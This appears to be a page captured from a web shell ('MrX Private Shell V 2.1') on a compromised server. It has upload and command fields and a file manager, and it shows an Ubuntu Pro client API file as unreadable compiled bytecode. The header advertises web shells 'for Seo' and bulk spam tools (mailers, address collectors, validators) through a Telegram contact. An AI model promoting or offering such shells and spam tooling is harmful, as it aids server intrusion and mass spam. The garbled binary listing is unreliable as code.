__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g<�
�R�SSKrSSKJr SSKJrJrJrJrJrJ	r	 SSK
JrJr SSK
JrJrJr SSKJr SSKJr SSKJrJr SS	KJr /S
QrS\\S\\S
\	\\\4\\44SjrS\S\\S
\	\\\4\\44SjrSS\S\\S\S\S\\S
\4Sjjr"SS5rg)�N)�
import_module)�Any�Callable�Dict�List�Optional�Tuple)�AbstractProgress�errors)�APIData�APIResponse�ErrorWarningObject)�UAConfig)�IncorrectFieldTypeError)�API_UNKNOWN_ARG�WARN_NEW_VERSION_AVAILABLE)�check_for_new_version)zu.pro.version.v1z,u.pro.attach.auto.configure_retry_service.v1z%u.pro.attach.auto.full_auto_attach.v1z'u.pro.attach.auto.should_auto_attach.v1z%u.pro.attach.guest.get_guest_token.v1zu.pro.attach.magic.initiate.v1zu.pro.attach.magic.revoke.v1zu.pro.attach.magic.wait.v1z'u.pro.attach.token.full_token_attach.v1zu.pro.detach.v1zu.pro.packages.summary.v1zu.pro.packages.updates.v1zu.pro.security.cves.v1z!u.pro.security.fix.cve.execute.v1zu.pro.security.fix.cve.plan.v1z!u.pro.security.fix.usn.execute.v1zu.pro.security.fix.usn.plan.v1z'u.pro.security.status.livepatch_cves.v1z(u.pro.security.status.reboot_required.v1zu.pro.services.dependencies.v1zu.pro.services.disable.v1zu.pro.services.enable.v1z u.pro.status.enabled_services.v1zu.pro.status.is_attached.v1zu.apt_news.current_news.v1zu.security.package_manifest.v1zu.unattended_upgrades.status.v1�options�fields�returnc	�l�0n/nUH�nURS5upVU(aU(d[R"US9eXQ;aDUR	[[R"US9R[R0S95 XbU'M� X#4$![a [R"US9ef=f)N�=��arg��title�code�meta)
�split�
ValueErrorr�APIBadArgsFormat�appendrr�format�msg�name)rr�kwargs�warnings�option�k�vs       �2/usr/lib/python3/dist-packages/uaclient/api/api.py�_process_optionsr,+s����F��H���	6��<�<��$�D�A����)�)�f�5�5��?��O�O�"�)�0�0�Q�7�;�;�(�-�-���
��q�	�%�(����#�	6��)�)�f�5�5�	6�s�B�B3�datac	�v�0n/n[R"U5nUR
5HRupVXQ;aDUR[[R"US9R[R0S95 XbU'MT X#4$![RRa [R
"US9ef=f)N)r-rr)
�json�loads�decoder�JSONDecodeErrorr�APIJSONDataFormatError�itemsr"rrr#r$r%)r-rr&r'�	json_datar)r*s       r+�
_process_datar6Hs����F��H�7��J�J�t�$�	����!����?��O�O�"�)�0�0�Q�7�;�;�(�-�-���
��q�	�"������<�<�'�'�7��+�+��6�6�7�s�B�3B8�
endpoint_path�cfg�progress_objectc
��U[;a([R"[R"US95$[	SU-5nUR
n/nUR(a�URRVs/sHo�RPM n	nU(a[X5up�OU(a[X)5up�O0/p�URU5 URRU
5nUR (aUR#XUS9n
O|UR#X5n
OjU(dU(a([R"[R&"US95$UR (aUR#X4S9n
OUR#U5n
[)5nU(aDUR+[-[.R0"US9R2[.R40S95 [7UR8U
R:U-[=UR4U
U
R>S9S9$s snf![Ra n[R"U5sSnA$SnAff=f![a=n[R"[R"URUS95sSnA$SnAff=f![$a n[R"U5sSnA$SnAff=f![$a n[R"U5sSnA$SnAff=f)	N)�endpointz
uaclient.api.)rr;)r9)�versionr)�type�
attributesr)�_schema_versionr'r-) �VALID_ENDPOINTSr�	error_out�APIInvalidEndpointrr;�options_clsr�keyr,r6�extend�APIError�	from_dictr�
APIMissingArg�supports_progress�fn�	Exception�APINoArgsForEndpointrr"rrr#r$r%r
r<r'rr)r7rr-r8r9�moduler;�option_warnings�frr&r'�e�result�new_versions               r+�call_apirSbs����O�+�����%�%�}�=�
�	
��?�]�:�
;�F����H��O����!)�!5�!5�!<�!<�=�!<�A�%�%�!<��=�		'��#3�G�#D� ����#0��#>� ���#%�r���"�"�8�,�	��*�*�4�4�V�<�G�	'��)�)�!����/�%���"���W�2��
�d��#�#��+�+�]�C��
�	'��)�)�!���S��J��!���S�)��(�)�K������0�7�7�'���#�/�4�4��
�	
�� �(�(����?�2�
��������
����m>�����	'��#�#�A�&�&��	'��
'�	��#�#��$�$�����G��
��	���	'��#�#�A�&�&��	'���	'��#�#�A�&�&��	'�s��8H�>H"�I�+!J#�
J#� K�7K�"I�6I�I�I�
J �#2J�J �J �#
K
�-K�K
�K
�
K:�K5�/K:�5K:c	�4�\rSrSrS	S\S\S\S\4SjjrSrg)
�APIEndpoint�r<r%rJrIc�@�XlX lX0lX@lXPlg�N)r<r%rJrCrI)�selfr<r%rJrCrIs      r+�__init__�APIEndpoint.__init__�s�����	���&��!2��)rJr%rCrIr<N)F)	�__name__�
__module__�__qualname__�__firstlineno__�strr�boolrZ�__static_attributes__�r\r+rUrU�s7��#(�
3��3��3�
�	3� �
3�3r\rUrX) r/�	importlibr�typingrrrrrr	�uaclient.apir
r�uaclient.api.data_typesrr
r�uaclient.configr�uaclient.data_typesr�uaclient.messagesrr�uaclient.versionrr@rar,r6rSrUrdr\r+�<module>rms���#�=�=�1�L�L�$�7�I�2���>�
�#�Y�� $�S�	��
�4��S��>�4� 2�3�3�4��:�

���C�y��
�4��S��>�4� 2�3�3�4��>37�Q��Q�
�#�Y�Q��Q�
�	Q�
�.�/�Q��
Q�h
3�
3r\

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.66 KB 0644
api.cpython-313.pyc File 7.08 KB 0644
data_types.cpython-313.pyc File 3.03 KB 0644
errors.cpython-313.pyc File 3.43 KB 0644
exceptions.cpython-313.pyc File 2.03 KB 0644
Filemanager